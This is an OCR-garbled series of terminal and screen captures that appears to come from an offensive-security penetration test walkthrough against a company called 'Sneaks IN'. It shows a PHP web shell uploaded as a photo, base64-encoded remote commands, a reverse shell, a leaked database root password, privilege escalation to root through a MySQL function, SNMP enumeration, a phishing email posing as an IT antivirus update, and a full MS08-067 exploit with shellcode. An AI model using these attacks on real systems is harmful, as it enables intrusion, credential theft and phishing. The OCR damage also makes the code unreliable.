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root@bt:~#¥ nmap -sT - T4 www.sneaks.in
Starting Nmap 4.68 ( http://nmap.org )
Interesting ports on www.sneaks.in:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.12 seconds

root@bt:~#

root@bt:~# nc - v www.sneaks.in 80
www.sneaks.in [208.0.0.1] 80 (www) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Server: Apache/2.2.10 (Fedora)
X-Powered-By: PHP/5.2.6

Connection: close

Content-Type: text/html; charset=UTF-8
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File Edit View History Bookmarks Tools Help
et [Bl]http://www.sneaks.iny = | [GI*] @
lo| Remote-Exploit Bl Offensive-Security ¢/ Metasploit BllmilwOrm »

First Name: " [evil

Last Name:" !hacker

Ed ucation: |v|

Experience: ﬂ
ge: —_—

Contact Information:

Phone: l

Fax: !

E-mail: ¥ imuts@oﬁensive—securitycon

URL: ]

Address:

PostalZIP Code: !

Your Photo:

File: !frootfl.php

Ll agrea to the Terms and Conditions

Done .
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<?php

$cmd=$_GET["'cmd'];
$decode=base64_decode($cmd);
os.system($decode);

?>
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root@bt:~# wget - O outpu t - o /dev/null www.sneaks.in/photoes/1.php?cmd=$(echo
id|base64)

root@bt:~#  cat output

uid=48(apache) gid=48(apache) groups=48(apache)

root@bt:~#  wget -O output -o /dev/null www.sneaks.in/photoes/1.php?cmd=3$(echo

ifconfig|base64)

root@bt:~#  cat output

ethO  Link encap:Ethernet HWaddr 00:0C:29:72:81:A0
inet addr:192.168.2.8 Bcast:192.168.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:132 errors:0 dropped:0 overruns:0 frame:0
TX packets:141 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:16665 (16.2 KiB) TX bytes:20202 (19.7 KiB)
Interrupt:19 Base address:0x20a4

ethl Link encap:Ethernet HWaddr 00:0C:29:72:81:AA
inet addr:208.0.0.1 Bcast:208.xx.xx.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:122 errors:0 dropped:0 overruns:0 frame:0
TX packets:38 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:12381 (12.0 KiB) TX bytes:7371 (7.1 KiB)
Interrupt:18 Base address:0x2024

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:2 errors:0 dropped:0 overruns:0 frame:0
TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:176 (176.0 b) TX bytes:176 (176.0 b)
root@bt:~#
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root@bt:~# sbd -Ilvp 443 -k evilhacker

listening on port 443

connect to attacker:443 from victim:51986 (www.sneaks.in)

id

uid=48(apache) gid=48(apache) groups=48(apache)

cat /var/www/html/conf/conf.inc

<?

$sp="/",

$Srlimit="";
$connection="MySQL";
$TypeSQL="MySQL";
$hostname="localhost";
$dbname="phpEmployment";

$username="root";

$password="sn089cmI93msx773nx3";

$epath="/var/www/html";
$eurl="http://www.sneaks.in";

$lang="eng";

$sitename="Sneaks in Employment Board";

?>

)@ <" @ %2

-bash-3.2$  cat /etc/my.cnf |grep user

user=root
-bash-3.2$
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bash-3.2%$ gcc adr.c -o /tmp/ adr -lssl

bash-3.2$  mysql -u root -p

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4

Server version: 5.0.67 Source distribution

Type 'help;' or \h' for help. Type '\c' to clear the buffer.

mysql> use mysql;
Database changed
mysql> select do_system(‘chmod a+x,u+s /tmp/adr');

+ +

| do_system(‘chmod chmod a+x,u+s /tmp/adr’) |
+ +
I 8589934592 |

+ +

1 row in set (0.01 sec)

mysqgl>  exit

Bye

sh-3.2% Is -l /tmp/

total 1664

-rwsr-xr-x 1 root root 6634 2008-12-24 02:51 adr

-rw-r--r-- 1 apache apache 1068 2008-12-24 02:50 b.c
drwx------ 3 apache apache 4096 2008-12-24 00:54 shd-1.31
-rw-r--r-- 1 apache apache 859963 2004-06-20 11:33 sbhd-1.31.tar.gz
-rw-rw-rw- 1 root root 44 2008-12-24 02:31 test

-rw-r--r-- 1 apache apache 10 2008-12-24 01:42 tmp
-rw-r--r-- 1 root root 0 2008-12-11 13:41 yum.log




sh-3.2$
Banner something V2.17

/tmp/adr

Enter pass phrase: muts
Welcome back. Have fun.
sh-3.2# whoami

root

sh-3.2#
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sh-3.2# ./snmpcheck.pl -t 192.168.2.25 -T 60

snmpcheck.pl v1.7 - snmp enumerator

Copyright (c) 2005-2008 by Matteo Cantoni (nothink.

[*] try to connect to 192.168.2.25...
[X] Connected to 192.168.2.25! Starting check at W

Hostname : MAILSERVER

Description  : Hardware: x86 Family 15 Model 2
Software : Windows Version 5.2 (Build 3790
Uptime (snmpd) : 7 hours, 24:03.48

Domain : SNEAKSIN

[*] Hardware and storage informations

INSTALLED SOFTWARE

Archive Server for MDaemon
Command Prompt Here PowerToy
HijackThis 1.99.1

MDaemon AntiVirus

MDaemon Server

NOD32 antivirus system

R-Studio NTFS v2.0

WebAdmin

MSXML 6.0 Parser (KB933579)

org)

ed Dec 24 03:55:41 2008

Multiprocessor Free)




CuteFTP 7 Professional

ASRSMBusDriver

MSXML 4.0 SP2 (KB927978)

Microsoft Office Professional Edition 2003
Microsoft Visual C++ 2005 Redistributable
TextPad

Microsoft .NET Framework 2.0 Service Pack 1
MSXML 4.0 SP2 (KB936181)

USERS

Guest

Administrator
SUPPORT_388945a0
Admin

Donald

Donovan

Mary

Ralph

LISTENING UDP PORTS

161
445
1026
1027

LISTENING TCP PORTS

25
80
110




135
143
366
443
445
587
1025
3389
8080
8081

SERVICES
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Hi Ralph,
I've attached an antivirus update that | would like you to install on your
workstation.
I'll be away from my cell phone over the weekend, h owever | do not anticipate
any issues with the install. A simple double click should do.
Sincerely,
Malroy Evans
Sneaks IN IT Dept.
http://www.sneaks.in
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root@bt:~#  cat sploit.py
#!/usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
import sys

pl’lnt *kkk *kkkkkkkhkkkkk *kkkkkkkk *kkkkkkkhkkkkk *

print "errkkkee M S08-67 WiN2k3 SP2 NX BYPASS btk

print "******xx - gffansive-security.com - Internal Use ******"

pl’lnt *kkk *kkkkkkkkkkkkk *kkkkkkkk *kkkkkkkhkkkkk *

try:
target = sys.argv[1]
port = 445

except IndexError:
print "Usage: %s HOST" % sys.argv[0]

sys.exit()

trans = transport. DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
trans.connect()

dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6eel88', '3.0"))

shellcode = "\x90"*57

shellcode += (

"\x29\xc9\x83\xe9\xc5\xd9\xee\xd9\x 74\x24\xf4\x5b\x81\x 73\x13\xd0"
"\x32\xd2\x63\x83\xeb\xfc\xe2\xf4\x2c\xda\x96\x6 3\xd0\x32\x59\x26"
"\xec\xb9\xae\x66\xa8\x33\x3d\xe8\x9f\x2a\x59\x3c\xf0\x33\x39\x2a"




"\X5b\x06\x59\x62\x3e\x03\x 1 2\xfa\x7¢c\xb6\x12\x 1 7\xd 7\xf3\x18\x6e"
"\xd1\xfO\x39\x97\xeb\x66\xf6\x6 7\xa5\xd 7\x59\x3c\xf4\x33\x39\x05"
"\x5b\x3e\x99\xe8\x8f\x2e\xd3\x88\x5b\x2e\x59\x62\x3b\xbb\x8e\x4 7"
"\xd4\xf1\xe3\xa3\xb4\xb9\x92\x53\x55\xf2\xaa\x6f\x5b\x72\xde\xe8"
"\xa0\x2e\x7f\xe8\xb8\x3a\x39\x6a\x5b\xb2\x62\x63\xd0\x32\x59\x0b"
"\xec\x6d\xe3\x95\xb0\x64\x5b\x9b\x53\xf2\xa9\x33\xb8\xc2\x58\x6 7"
"\x8f\x5a\x4a\x9d\x5a\x3c\x85\x9c\x37\x51\xbfAx07\xfe\x57\xaa\x06"
"\xfO\x1d\xb1\x43\xbe\x57\xa6\x43\xa5\x41\xb 7\x11\xf0\x02\xb4\x05"
"\xe3\x5c\xe7\x52\xa6\x01\xa1\x50\xb3\x4 7\xa0\x52\xa4\x4b\xf2\x0e"
"\xa5\x46\xal\x43\xff\x73\x96\x27\xf0\x14\xf4\x4 3\xbe\x57\xa6\x4 3"
"\Xbc\x5d\xb1\x02\xbc\x55\xa0\x0c\xa5\x42\xf2\x22\xb4\x5f\xbb\x0d"
"\Xb9\x41\xa6\x11\xb1\x46\xbd\x11\xa3\x12\xe2\x05\xb6\x01\xbc\x56"
"\xe1\x44\xe1\x10\xe3\x51\xa7\x11\xe1\x46\xab\x43\xff\x73\x96\x27"
"\xd0\x32\xd2\x63")

stub= "\x01\x00\x00\x00' # Reference ID
stub+="\xac\x00\x00\x00' # Max Count
stub+="\x00\x00\x00\x00' # Offset
stub+="\xac\x00\x00\x00' # Actual count

# Server Unc -> Lenght in Bytes = (Max Count*2) - 4

# NOP + PATTERN + SHELLCODE (15+8+317)= 340 => Max Count = 172 (0xac)

stub+="n00bn00b' + \x90'*15 + shellcode # Server Unc

stub+="\x00\x00\x00\x00" # UNC Trailer Padding
stub+="\x2f\x00\x00\x00' # Max Count
stub+="\>x00\x00\x00\x00' # Offset
stub+="\x2f\x00\x00\x00' # Actual Count

stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5¢c\x00\x2e\x00\x2e\x00\x5¢c\x00' # PATH BOOM

# Pain starts here ... NX BYPASS Modification for Windows 2003 SP2

stub+='"BB' # PADDING
stub+="\x1B\xA0\x86\x7C" # 0x7c86a01b JMP ESP  (ntdll)
stub+='CCCC' # PADDING

stub+="xEB\x71\x90\x90' # SIMP TO EGGHUNTER 113 Bytes
stub+='"DDDD' # PADDING




stub+="\x84\x94\x80\x7C' # RET -> 0x7C809484 POP EBP RETN (ntdll)
stub+="\xFF\xFF\xFF\xFF' # JUNK

stub+="\xA2\x83\XEO\x 77" # 0x77E083A2 PUSH EDI,POP EBP,RETN 0x4 (NTMARTA .text)
stub+="\x17\xf5\x83\x7c’ # 0x7C83F517 MOV DWORD PTR SS:[EBP-4],2
stub+="\x90\x90\x90\x90\x90' # NOPS TO EGGHUNTER

# EGGHUNTER 32 Bytes

egghunter ='\x33\xD2\x90\x90\x90\x42\x52\x6a’
egghunter+="x02\x58\x4d\x2e\x3c\x05\x5a\x74' # Oxcd = Ox4d + 128
egghunter+="xf4\xb8\x6e\x30\x30\x62\x8b\xfa'
egghunter+="\xaf\x75\xea\xaf\x75\xe 7\xff\xe 7'

stub+= egghunter

stub+="\x90\x90\x90’ # Padding
stub+="\x00\x00'

stub+="\x00\x00\x00\x00" # Padding
stub+="\x02\x00\x00\x00"* # Max Buf
stub+="\x02\x00\x00\x00' # Max Count
stub+="\x00\x00\x00\x00' # Offset
stub+="\x02\x00\x00\x00"* # Actual Count
stub+="\x5¢c\x00\x00\x00' # Prefix
stub+="\x01\x00\x00\x00" # Pointer to pathtype
stub+="\x01\x00\x00\x00" # Path type and flags.

print "Sending payload..."
dce.call(0x1f, stub) #0x1f (or 31)- NetPathCanonicalize Operation

print "Done! User muts should be added now!"
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